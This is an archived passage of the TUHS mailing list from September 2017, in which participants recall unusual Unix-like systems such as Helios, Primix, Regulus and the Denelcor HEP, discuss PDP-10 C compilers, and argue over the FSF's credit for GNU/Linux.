It had a similar notion of a universal protocol for servers to hook into the "file" namespace as Plan9 / 9P, and a shell that included operators for spawning tasks on other CPUs, parallel execution, and so on.

They'd ported some basic GNU userland: GCC, GMake, etc, as well as the basic sources (ls, and co -- not sure where they came from or if they were written from scratch).  There was even an X11R5 (maybe R4?) server that would work with a few of the framebuffers that some of the Transputer boards had.

All good fun.  Sadly didn't last too long: likely killed off by Inmos' late delivery of the second gen T9000 processor like most of the Transputer world, but they disappeared after trying to move onto other CPUs seemingly unsuccessfully.



d


> On 17 Sep 2017, at 17:28, arnold at skeeve.com wrote:
> 
> Warren Toomey <wkt at tuhs.org> wrote:
> 
>> To kick a more relevant thread off, what was the "weirdest" Unix system
>> you used & why? Could be an emulation like Eunice, could  be the hardware
>> e.g NULL was not zero, NUXI byte ordering etc.
> 
> AT&T 3B20 - *0 didn't segfault but brought in some weird value.
> 
> Pyramid Dual Universe - System V vs. BSD - why be forced to decide when
> you can have your cake and eat it too?
> 
> Whatever Data General called their Unix layer on top of their native
> OS for the Eclipse or whatever it was (32 bit system).
> 
> Eunice - we had it one place I worked but I didn't use it much.
> 
> I never got to work on more exotic systems such as Interdata
> or Series 1.
> 
> Arnold



From ats at offog.org  Sun Sep 17 22:52:24 2017
From: ats at offog.org (Adam Sampson)
Date: Sun, 17 Sep 2017 13:52:24 +0100
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <DF8CEB2A-53A7-4513-B794-763CCA635B1B@pobox.com> (David Arnold's
 message of "Sun, 17 Sep 2017 18:10:37 +1000")
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
 <201709170728.v8H7SvbH014339@freefriends.org>
 <DF8CEB2A-53A7-4513-B794-763CCA635B1B@pobox.com>
Message-ID: <y2afublxzav.fsf@offog.org>

David Arnold <davida at pobox.com> writes:

> [...] as well as the basic sources (ls, and co -- not sure where they
> came from or if they were written from scratch).

They wrote their own:
https://github.com/axelmuhr/Helios-NG/tree/master/cmds/com

(That repository has the Helios 1.31 sources in; there is some RCS
history in the code that Tim King released but it doesn't look like it's
been imported into Git.)

-- 
Adam Sampson <ats at offog.org>                         <http://offog.org/>


From steve at quintile.net  Mon Sep 18 00:23:04 2017
From: steve at quintile.net (Steve Simon)
Date: Sun, 17 Sep 2017 15:23:04 +0100
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <DF8CEB2A-53A7-4513-B794-763CCA635B1B@pobox.com>
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
 <201709170728.v8H7SvbH014339@freefriends.org>
 <DF8CEB2A-53A7-4513-B794-763CCA635B1B@pobox.com>
Message-ID: <B6CB5981-0F40-4223-B4E6-65B72F94213C@quintile.net>

Weird unix...

My first contact with something unix-like was cromix, a unix rewrite in z80 assembler (i think). the machine i had access to had two 8inch floppies, and the exciting addition of a hard disk.

other strangeness was primix, a port of system v user space  onto primos. that was slow, and was similar enough to unix to lull you into a seance of security, until it bit you with something odd.

then came edition 7 on an interdata/perkin elmer and normality was restored (thanks again Richard Miller).

-Steve

> On 17 Sep 2017, at 09:10, David Arnold <davida at pobox.com> wrote:
> 
> Helios: a Unix-like system running on Transputers (and TI C40, and a few others).
> 
> It had a similar notion of a universal protocol for servers to hook into the "file" namespace as Plan9 / 9P, and a shell that included operators for spawning tasks on other CPUs, parallel execution, and so on.
> 
> They'd ported some basic GNU userland: GCC, GMake, etc, as well as the basic sources (ls, and co -- not sure where they came from or if they were written from scratch).  There was even an X11R5 (maybe R4?) server that would work with a few of the framebuffers that some of the Transputer boards had.
> 
> All good fun.  Sadly didn't last too long: likely killed off by Inmos' late delivery of the second gen T9000 processor like most of the Transputer world, but they disappeared after trying to move onto other CPUs seemingly unsuccessfully.
> 
> 
> 
> d
> 
> 
>> On 17 Sep 2017, at 17:28, arnold at skeeve.com wrote:
>> 
>> Warren Toomey <wkt at tuhs.org> wrote:
>> 
>>> To kick a more relevant thread off, what was the "weirdest" Unix system
>>> you used & why? Could be an emulation like Eunice, could  be the hardware
>>> e.g NULL was not zero, NUXI byte ordering etc.
>> 
>> AT&T 3B20 - *0 didn't segfault but brought in some weird value.
>> 
>> Pyramid Dual Universe - System V vs. BSD - why be forced to decide when
>> you can have your cake and eat it too?
>> 
>> Whatever Data General called their Unix layer on top of their native
>> OS for the Eclipse or whatever it was (32 bit system).
>> 
>> Eunice - we had it one place I worked but I didn't use it much.
>> 
>> I never got to work on more exotic systems such as Interdata
>> or Series 1.
>> 
>> Arnold



From imp at bsdimp.com  Mon Sep 18 00:27:14 2017
From: imp at bsdimp.com (Warner Losh)
Date: Sun, 17 Sep 2017 08:27:14 -0600
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170917021850.GX3272@mcvoy.com>
References: <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr>
 <20170914213535.4ptpo7jtaem6x5tf@thunk.org> <20170916034032.GO3272@mcvoy.com>
 <201709161920.v8GJK0ec020998@freefriends.org>
 <20170917014349.GW3272@mcvoy.com>
 <201709170155.v8H1tlOw001950@darkstar.fourwinds.com>
 <CANCZdfqxmu8_5uEmwL9jwkSgUK47fp2f1isLvLVGm=sZEC+dGw@mail.gmail.com>
 <20170917021850.GX3272@mcvoy.com>
Message-ID: <CANCZdfpMcHHq9xvQ0ryqd8VqxXFR=z3Q1k9GP1y52VnJVtwBSA@mail.gmail.com>

On Sat, Sep 16, 2017 at 8:18 PM, Larry McVoy <lm at mcvoy.com> wrote:

> On Sat, Sep 16, 2017 at 08:14:47PM -0600, Warner Losh wrote:
> > On Sat, Sep 16, 2017 at 7:55 PM, Jon Steinhart <jon at fourwinds.com>
> wrote:
> >
> > > On Sat, Sep 16, 2017 at 01:20:00PM -0600, arnold at skeeve.com wrote:
> > > >
> > > > This not true of ALL the GNU project maintainers.  Don't tar everyone
> > > > with RMS's brush.
> > >
> > > What are we supposed to to then?  cpio?
> > >
> >
> > I think libarchive has largely replaced all that and understands zip,
> lzh,
> > etc.
>
> I think you missed Jon's joke.  If you want more of that, check out this
> thread:
>
> https://www.reddit.com/r/IAmA/comments/70arwl/i_am_john_
> cleese_writer_actor_and_tall_person_ama/
>

I think you missed my "Why can't we all get along" moment :)

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170917/9706f8fb/attachment.html>

From krewat at kilonet.net  Mon Sep 18 00:28:23 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Sun, 17 Sep 2017 10:28:23 -0400
Subject: [TUHS] PDP-10 UNIX?
Message-ID: <d90d0034-b138-4b76-c28d-865d5839613e@kilonet.net>

Was there ever a UNIX or even the thought of porting one to a PDP-10?

36-bit machine, 18-bit addresses (more on KL10 and KS10), and:

*0 would return register 0 instead of a SIGSEGV ;)

8-bit bytes would have been a wasteful exercise, but you never know. 
(losing 4 bits of every 36-bit word)

thanks!
art k.



From imp at bsdimp.com  Mon Sep 18 00:31:19 2017
From: imp at bsdimp.com (Warner Losh)
Date: Sun, 17 Sep 2017 08:31:19 -0600
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <d90d0034-b138-4b76-c28d-865d5839613e@kilonet.net>
References: <d90d0034-b138-4b76-c28d-865d5839613e@kilonet.net>
Message-ID: <CANCZdforuA-Qtuyw9fr9BDXQ+vZ+YRgLw0ahchCwwtvT7u=RUA@mail.gmail.com>

On Sun, Sep 17, 2017 at 8:28 AM, Arthur Krewat <krewat at kilonet.net> wrote:

> Was there ever a UNIX or even the thought of porting one to a PDP-10?
>
> 36-bit machine, 18-bit addresses (more on KL10 and KS10), and:
>
> *0 would return register 0 instead of a SIGSEGV ;)
>
> 8-bit bytes would have been a wasteful exercise, but you never know.
> (losing 4 bits of every 36-bit word)
>

IIRC, there was a NetBSD/pdp10. Don't know how far it got.

The instructor of my first C course in college wrote a very good C compiler
for TOPS-10/TOPS-20.

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170917/65341082/attachment.html>

From drb at msu.edu  Mon Sep 18 00:49:09 2017
From: drb at msu.edu (Dennis Boone)
Date: Sun, 17 Sep 2017 10:49:09 -0400
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: (Your message of Sun, 17 Sep 2017 17:03:16 +1000.)
 <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org> 
Message-ID: <20170917144909.DB27FA585CB@yagi.h-net.msu.edu>

 > To kick a more relevant thread off, what was the "weirdest" Unix
 > system you used & why? Could be an emulation like Eunice, could be
 > the hardware e.g NULL was not zero, NUXI byte ordering etc.

Guess I can more or less tick two of the above boxes.  The Prime minis
had a layered product called Primix that provided a unix userland of
sorts.  Dog slow, at least in its earlier releases.  Null pointers were
not zero on the Prime machines.

De


From lars at nocrew.org  Mon Sep 18 01:01:58 2017
From: lars at nocrew.org (Lars Brinkhoff)
Date: Sun, 17 Sep 2017 15:01:58 +0000
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <CANCZdforuA-Qtuyw9fr9BDXQ+vZ+YRgLw0ahchCwwtvT7u=RUA@mail.gmail.com>
 (Warner Losh's message of "Sun, 17 Sep 2017 08:31:19 -0600")
References: <d90d0034-b138-4b76-c28d-865d5839613e@kilonet.net>
 <CANCZdforuA-Qtuyw9fr9BDXQ+vZ+YRgLw0ahchCwwtvT7u=RUA@mail.gmail.com>
Message-ID: <7wk20x5py1.fsf@junk.nocrew.org>

Warner Losh writes:
> Arthur Krewat wrote:
>> Was there ever a UNIX or even the thought of porting one
>> to a PDP-10?
> IIRC, there was a NetBSD/pdp10. Don't know how far it got.

Not far enough.  I was a little bit involved when there was talk of
using GCC.

> The instructor of my first C course in college wrote a very
> good C compiler for TOPS-10/TOPS-20.

Which one?

I have found remnants of a compiler called C10 by Alan Snyder.  I have
tried to reach him without result.


From cym224 at gmail.com  Mon Sep 18 01:08:14 2017
From: cym224 at gmail.com (Nemo)
Date: Sun, 17 Sep 2017 11:08:14 -0400
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
Message-ID: <CAJfiPzzviMavPxdW+TjAx7_5LWeLbOJMjP1UOipvqxc2wRwQYg@mail.gmail.com>

On 17/09/2017, Warren Toomey <wkt at tuhs.org> wrote:
> To kick a more relevant thread off, what was the "weirdest" Unix system you
> used & why? Could be an emulation like Eunice, could  be the hardware e.g
> NULL was not zero, NUXI byte ordering etc.

Does ersatz-UNIX count?

At one start-up, our servers were SPARC-based but we could only afford
Intel boxes on the desktops.  We found that the MKS Toolkit on OS/2
Warp was the closest on the boxes, talking to the servers over X and
such.  (EMX stuff was acceptable but it still sat on top of DOS.  Warp
was odd in that it came with a full TCP/IP stack.)

N.


From krewat at kilonet.net  Mon Sep 18 01:22:15 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Sun, 17 Sep 2017 11:22:15 -0400
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <7wk20x5py1.fsf@junk.nocrew.org>
References: <d90d0034-b138-4b76-c28d-865d5839613e@kilonet.net>
 <CANCZdforuA-Qtuyw9fr9BDXQ+vZ+YRgLw0ahchCwwtvT7u=RUA@mail.gmail.com>
 <7wk20x5py1.fsf@junk.nocrew.org>
Message-ID: <751d6686-0620-9a9a-9055-55538e913fa5@kilonet.net>

I have a C compiler for TOPS-10 that I got off the Internet back in 
1988. Still haven't messed around with it enough to get it to run, but ...

The only string in it that means anything is this:

File:  %s, compiled by Sargasso C v. %c

And a discussion I started a long time ago:

https://groups.google.com/forum/#!topic/alt.sys.pdp10/gc2avXfEJMg



On 9/17/2017 11:01 AM, Lars Brinkhoff wrote:
> Warner Losh writes:
>> Arthur Krewat wrote:
>>> Was there ever a UNIX or even the thought of porting one
>>> to a PDP-10?
>> IIRC, there was a NetBSD/pdp10. Don't know how far it got.
> Not far enough.  I was a little bit involved when there was talk of
> using GCC.
>
>> The instructor of my first C course in college wrote a very
>> good C compiler for TOPS-10/TOPS-20.
> Which one?
>
> I have found remnants of a compiler called C10 by Alan Snyder.  I have
> tried to reach him without result.
>



From imp at bsdimp.com  Mon Sep 18 02:33:54 2017
From: imp at bsdimp.com (Warner Losh)
Date: Sun, 17 Sep 2017 10:33:54 -0600
Subject: [TUHS] PDP-10 UNIX?
In-Reply-To: <7wk20x5py1.fsf@junk.nocrew.org>
References: <d90d0034-b138-4b76-c28d-865d5839613e@kilonet.net>
 <CANCZdforuA-Qtuyw9fr9BDXQ+vZ+YRgLw0ahchCwwtvT7u=RUA@mail.gmail.com>
 <7wk20x5py1.fsf@junk.nocrew.org>
Message-ID: <CANCZdfqhUhp6cNmx-q0nmNPkCxn_qj5j_RSq6A4kk1Zxdf-C9g@mail.gmail.com>

On Sun, Sep 17, 2017 at 9:01 AM, Lars Brinkhoff <lars at nocrew.org> wrote:

> Warner Losh writes:
> > Arthur Krewat wrote:
> >> Was there ever a UNIX or even the thought of porting one
> >> to a PDP-10?
> > IIRC, there was a NetBSD/pdp10. Don't know how far it got.
>
> Not far enough.  I was a little bit involved when there was talk of
> using GCC.
>
> > The instructor of my first C course in college wrote a very
> > good C compiler for TOPS-10/TOPS-20.
>
> Which one?
>
> I have found remnants of a compiler called C10 by Alan Snyder.  I have
> tried to reach him without result.
>

His name was Greg Titus. It was installed on the TOPS-20 boxes we had at
school as cc20. Don't know more than that. I've lost touch with Greg over
the years and some professional wrestler has popped in his name...  I'll
see if I can find him...

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170917/a6ccc795/attachment.html>

From david at kdbarto.org  Mon Sep 18 03:27:00 2017
From: david at kdbarto.org (David)
Date: Sun, 17 Sep 2017 10:27:00 -0700
Subject: [TUHS] Weird nix? Regulus
In-Reply-To: <mailman.1029.1505658197.3779.tuhs@minnie.tuhs.org>
References: <mailman.1029.1505658197.3779.tuhs@minnie.tuhs.org>
Message-ID: <601911ED-162B-47E6-ADB5-4BB31EE6D733@kdbarto.org>

What a pain, almost like Unix, and not quite. l It was a clone of Unix for the 68k. The APIs were ever so slightly different because the authors were concerned about copyright infringement. libc calls had different argument orders or types and in general it was just off enough that you wanted to claw at the screen every time something went wrong.

To top it off, the system we were hosting it on was so slow that a full rebuild of our meager (10k lines) software took overnight.

I eventually ported all the software to a SparcStation-2 cross compiling to the 68k target we were embedded on.

> To kick a more relevant thread off, what was the "weirdest" Unix system you used & why? Could be an emulation like Eunice, could  be the hardware e.g NULL was not zero, NUXI byte ordering etc.
> 
> Cheers, Warren



From ron at ronnatalie.com  Mon Sep 18 03:55:32 2017
From: ron at ronnatalie.com (Ron Natalie)
Date: Sun, 17 Sep 2017 13:55:32 -0400
Subject: [TUHS] Weird nix? Regulus
In-Reply-To: <601911ED-162B-47E6-ADB5-4BB31EE6D733@kdbarto.org>
References: <mailman.1029.1505658197.3779.tuhs@minnie.tuhs.org>
 <601911ED-162B-47E6-ADB5-4BB31EE6D733@kdbarto.org>
Message-ID: <000901d32fde$28a036f0$79e0a4d0$@ronnatalie.com>

I was involved in a few supercomputer UNIXes.     The one for most obnoxious
for writing applications was the Cray X-MP which had only had one numerical
data size, 64 bits.     The thing had 24 bit pointers.    My attempts to
guess appropriate sizes in our portable application failed (though it
complied).   I had sent a junior programmer over to try the port and it
printed "You've got to be kidding" when it ran.    He calls up and says "I
think that's one of your messages."

The other port I was intimately familiar with having designed some of the
hardware (the I/O system) was the Denelcor HEP.   The US Army BRL had this
thing built to do fluid dynamics problems.   It started out being an analog
computer project and then moved to hybrid and finally to an all-digital
Multi-Instruction Multi-Data parallel process built all out of 10800 MECL.
The neat thing that in addition to running 40 or so concurrent threads it
could also keep track of like 1024 threads that it hardware scheduled.
Each memory word had a "full-empty" bit that it would semaphore instructions
like "Read when Full, Set Empty."

Mike Muuss was the head of our group at the time and when the thing was
destined to be delivered without an OS, he did his usual "We can put UNIX on
it."  The brass took us up on the offer.   We ported 4.2 BSD to the thing
(we'd just come off bringing up a couple of the George Gobel @ Purdue Dual
VAXes so we figured we knew our way around the MP aspects).

The HEP was the first machine we had four different integral sizes: 8, 16,
32, and 64.   We wanted 64 to be the "int" size so we were trying to figure
out what to call the 32 bit type.    Medium was a prime contender.    I
suggested "short long."   We settled for a new int32 (or some variant
keyword).    Anyhow, since I was the linker and I/O guy on the project I
discovered a hideous bug in 4BSD.   The HEP had two addressing modes:
character (which is what you'd expect) and "word".    The word encoded the
word size in the low order bits in an unusual fashion.

0x1000 would be the 64 bit value at 0x1000.
0x1002 would be the 32 bit value at 0x1000.
0x1006 would be the 32 bit value at 0x1004
0x1001,1003,1005, 1007 would be the 16 bit values at 1000, 1002, 1004, and
1006 respectively.
0x1004 gave you a 64 bit value at 0x1000 (for no useful reason).

There was places all over the 4BSD kernel where what I call "conversion by
union" was taking place.    There was a type that looked like this

union any {
      char*    c;
      short * s;
      int *I;
     long *l;
};

And it would store things into one union accessor and retrieve it from
another.    This would end up NOT converting the pointer and fun happens
when the compiler and the hardware were unclear of the actual word size.
I chased down all this nonsense replacing them with void* so that the proper
type conversion could be performed.

Neat thing about this machine is for I/O it had 32 individual Unibuses
gatewayed to it's main memory switch.    Initially, the control logic for
that used a feature very aptly named "the low speed bus" primarily designed
for getting the thing configured to boot up.     After realizing that the
thing was only doing about ten I/O's  a second, we decided we needed to come
up with something better.   HEP designer Burton Smith and I sat down at the
local steak house and literally drew up a new design on the napkins that we
could build out of the spares we had lying around.



From dwalker at doomd.net  Mon Sep 18 04:07:24 2017
From: dwalker at doomd.net (Derrik Walker v2.0)
Date: Sun, 17 Sep 2017 14:07:24 -0400
Subject: [TUHS] Weird nix? Regulus
In-Reply-To: <601911ED-162B-47E6-ADB5-4BB31EE6D733@kdbarto.org>
References: <mailman.1029.1505658197.3779.tuhs@minnie.tuhs.org>
 <601911ED-162B-47E6-ADB5-4BB31EE6D733@kdbarto.org>
Message-ID: <db155868-fdc8-2090-e111-7682b750eb51@doomd.net>

On 09/17/2017 01:27 PM, David wrote:
> What a pain, almost like Unix, and not quite. l It was a clone of Unix for the 68k. The APIs were ever so slightly different because the authors were concerned about copyright infringement. libc calls had different argument orders or types and in general it was just off enough that you wanted to claw at the screen every time something went wrong.
>
> To top it off, the system we were hosting it on was so slow that a full rebuild of our meager (10k lines) software took overnight.
>
> I eventually ported all the software to a SparcStation-2 cross compiling to the 68k target we were embedded on.
>
>> To kick a more relevant thread off, what was the "weirdest" Unix system you used & why? Could be an emulation like Eunice, could  be the hardware e.g NULL was not zero, NUXI byte ordering etc.
>>
>> Cheers, Warren

Mach Ten ... this weird BSD thing that runs on top of Classic Mac OS.  I 
actually have a minivmac image on my Linux box that it boots and runs on!

I used it as my "UNIX workstation" Until I finally got my hands on a 
Sparc in the late '90's.

- Derrik

Derrik Walker v2.0, RHCE
dwalker at doomd.net

"Those UNIX guys, they think weird!" -- John C. Dvorak


-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3986 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170917/7cb41ccc/attachment.bin>

From chet.ramey at case.edu  Mon Sep 18 04:25:06 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Sun, 17 Sep 2017 14:25:06 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170916034032.GO3272@mcvoy.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr> <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <20170916034032.GO3272@mcvoy.com>
Message-ID: <cf9a0772-bcfb-cf0c-ab88-0e1bcb4b8fd3@case.edu>

On 9/15/17 11:40 PM, Larry McVoy wrote:

> As well it should be.  My colors are showing here, but I'm really sick
> of the FSF slapping their name on other people's work.  If Stallman
> wants it to be called GNU/Linux let him write a kernel.  He didn't,
> he can't, yet he wants credit.  I got pretty disgusted back in the day
> when everything that was GPLed suddenly became a GNU project.  The GNU
> guys have written very, very little code.
> 
> They are all about the license, which is fine, but I get off the bus
> when they are claiming credit for work they did not do.

You are associating not having a lot of paid employees with not having a
lot of people do work under the FSF banner. That's not close to true.

It's true that the FSF had few full-time employees. They worked off
grants.

It's not true that these folks didn't produce a lot of work: they did.

It's true that the volunteers who donated their work to the FSF did so
fully understanding what they were doing. Arnold and I have first-hand
experience here.

It's true that there were a number of projects that petitioned to come
under the FSF umbrella, and were accepted.

It's not true that everything released under the GPL became part of the
GNU project and was listed on www.gnu.org/software.

I get that you don't like the FSF model, but the organization and its
volunteers produced -- and continue to produce -- a significant body of
good work. Linux as people think of it today (no, it's not just a kernel)
really wouldn't exist without it.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/


From norman at oclsc.org  Mon Sep 18 04:31:10 2017
From: norman at oclsc.org (Norman Wilson)
Date: Sun, 17 Sep 2017 14:31:10 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
Message-ID: <1505673074.24089.for-standards-violators@oclsc.org>

arnold at skeeve.com:

> This not true of ALL the GNU project maintainers.  Don't tar everyone
> with RMS's brush.

John Steinhart:

  What are we supposed to to then?  cpio?

===

I guess we're supposed to tp his house.

Norman Wilson
Toronto ON


From chet.ramey at case.edu  Mon Sep 18 04:37:59 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Sun, 17 Sep 2017 14:37:59 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <03c101d32eeb$9f4444c0$ddccce40$@ronnatalie.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr> <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <20170916034032.GO3272@mcvoy.com>
 <03c101d32eeb$9f4444c0$ddccce40$@ronnatalie.com>
Message-ID: <65d836b4-f6c0-c03f-aa81-9ce0e52ea78b@case.edu>

On 9/16/17 8:59 AM, Ron Natalie wrote:
> RMS hates UNIX.   That was clear in the original manifesto.   But he's also
> a megalomaniac and believes that if you even use a GNU tool your work
> becomes his.

Nah, this is BS. Stallman might not like Unix, and he clearly has a very
large ego -- as do many of us here -- but that "belief" is just crap.  The
thing that comes closest to it is bison, and the output of bison is
explicitly excluded. There is the issue of GPL libraries (like readline),
and that's a pain for people who want to link with them, but that doesn't
count as "even use a GNU tool."

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/


From chet.ramey at case.edu  Mon Sep 18 04:43:33 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Sun, 17 Sep 2017 14:43:33 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <20170917014349.GW3272@mcvoy.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr> <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <20170916034032.GO3272@mcvoy.com>
 <201709161920.v8GJK0ec020998@freefriends.org>
 <20170917014349.GW3272@mcvoy.com>
Message-ID: <e3589066-4edc-7fdc-8517-3e9fc8ed1c81@case.edu>

On 9/16/17 9:43 PM, Larry McVoy wrote:
> I stand by my comment.  I'm friends with the Cygnus folks, they would
> tend to agree with me I think.
> 
> All that stuff you listed, can you list the things that the GNU/FSF
> people have funded?  Because I think there is close to nothing.  All of
> that stuff is stuff that came under the GNU umbrella but they didn't do
> the coding.

Is that the only criterion? Whether or not someone got paid directly by
the FSF to do something?  Because there are lots of tools that were
originally written by people funded by the FSF and then handed off to
people like me: volunteers who donate our effort.

> 
> I give credit to RMS for the GPL, that was cool.  But claiming credit
> for stuff that GNU/FSF didn't do was not cool.

Denigrating the work of volunteers who explicitly donated their effort
and talent to the FSF is not cool.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/


From chet.ramey at case.edu  Mon Sep 18 04:49:16 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Sun, 17 Sep 2017 14:49:16 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <201709170519.v8H5JpKx003398@freefriends.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <201709100944.v8A9iPeb024293@freefriends.org>
 <alpine.BSF.2.21.1709140900020.89458@aneurin.horsfall.org>
 <20170914161121.sx7eqzsqklzcncdb@matica.foolinux.mooo.com>
 <alpine.BSF.2.02.1709141215140.89120@frieza.hoshinet.org>
 <20170914193905.GD25914@wopr> <20170914213535.4ptpo7jtaem6x5tf@thunk.org>
 <20170916034032.GO3272@mcvoy.com>
 <201709161920.v8GJK0ec020998@freefriends.org>
 <20170917014349.GW3272@mcvoy.com>
 <201709170519.v8H5JpKx003398@freefriends.org>
Message-ID: <cd19aecd-6dec-9c0f-639d-1b0731b432ab@case.edu>

On 9/17/17 1:19 AM, arnold at skeeve.com wrote:
> RMS wrote GCC initially.  And Emacs if that's what you use. And GDB
> initially as well. RMS did Texinfo (even if you don't like it yourself,
> it's a very nice markup language).
> 
> Bash, gawk, sed, grep, coreutils were (and still are) maintained by
> unpaid volunteers, true, but they all were started for the GNU project.
> (Bash in the early days may have been funded by the FSF.)

I remember multiple FSF efforts to solicit volunteers for named projects.
There were lots of people willing to donate their time and effort. And
at that time, there were very few non-FSF projects licensed under the GPL,
so the issue of "absorbtion" was minor to non-existent.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/


From chet.ramey at case.edu  Mon Sep 18 04:50:08 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Sun, 17 Sep 2017 14:50:08 -0400
Subject: [TUHS] And now ... Weirdnix?
In-Reply-To: <201709170728.v8H7SvbH014339@freefriends.org>
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
 <201709170728.v8H7SvbH014339@freefriends.org>
Message-ID: <58b4bb3e-1b94-0e3d-312d-9151e8a057a6@case.edu>

On 9/17/17 3:28 AM, arnold at skeeve.com wrote:

> Whatever Data General called their Unix layer on top of their native
> OS for the Eclipse or whatever it was (32 bit system).

I think they called it DG/UX -- just like they called their wretched
System V port.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/


From bakul at bitblocks.com  Mon Sep 18 04:50:21 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Sun, 17 Sep 2017 11:50:21 -0700
Subject: [TUHS] Maintainability, Guilds, RMS, etc. all lumped into one
In-Reply-To: <201709161912.v8GJCkbS013082@darkstar.fourwinds.com>
References: <201709151910.v8FJAIuv025809@elf.torek.net>
 <deb5d145-90d7-c9ed-0984-9238e30d2308@telegraphics.com.au>
 <201709161912.v8GJCkbS013082@darkstar.fourwinds.com>
Message-ID: <2C022513-BD14-4B00-BFAF-F614B2932643@bitblocks.com>


> On Sep 16, 2017, at 12:12 PM, Jon Steinhart <jon at fourwinds.com> wrote:
> 
> I would claim that the issues of maintainability, guilds or other standards
> for programmers, etc. is really a management issue.
...
> Final thing on this thread: get used to it.  As with any field, programming is
> a commodity item now.  It's not a field populated primarily by people with PhDs.

I think we can do a lot without requiring a PhD. Programming
may be a commodity but there is a need for introducing more
professionalism. Or "good habits" if not "good taste".

It is clear by now that in many cases software quality is no
less critical than the quality of work needed in building
critical physical infrastructure (which in turn is also now
affected by s/w quality!). Software has become quite pervasive
& pretty much everything seems hackable (in the break-in sense).
While security is a separate issue, at least we can try to not
make breaking in easy via buggy software.

I don't know what the solution is. I am leery of any
"professional programmer" kind of certification as being
sufficient. I don't think we even know what that should
entail. Schools already teach software but these graduates
don't seem prepared enough for the real world.

One thing that does help is mentoring. But we can't rely on
managers for that. Managers are like general contractors,
responsible for coordination and project delivery on time.
But while time to deliver is measurable, measuring quality is    
far more nebulous and in my experience this delivery on time 
goal almost always trumps delivering quality. Second, even a
good manager is simply not going to have time to train people
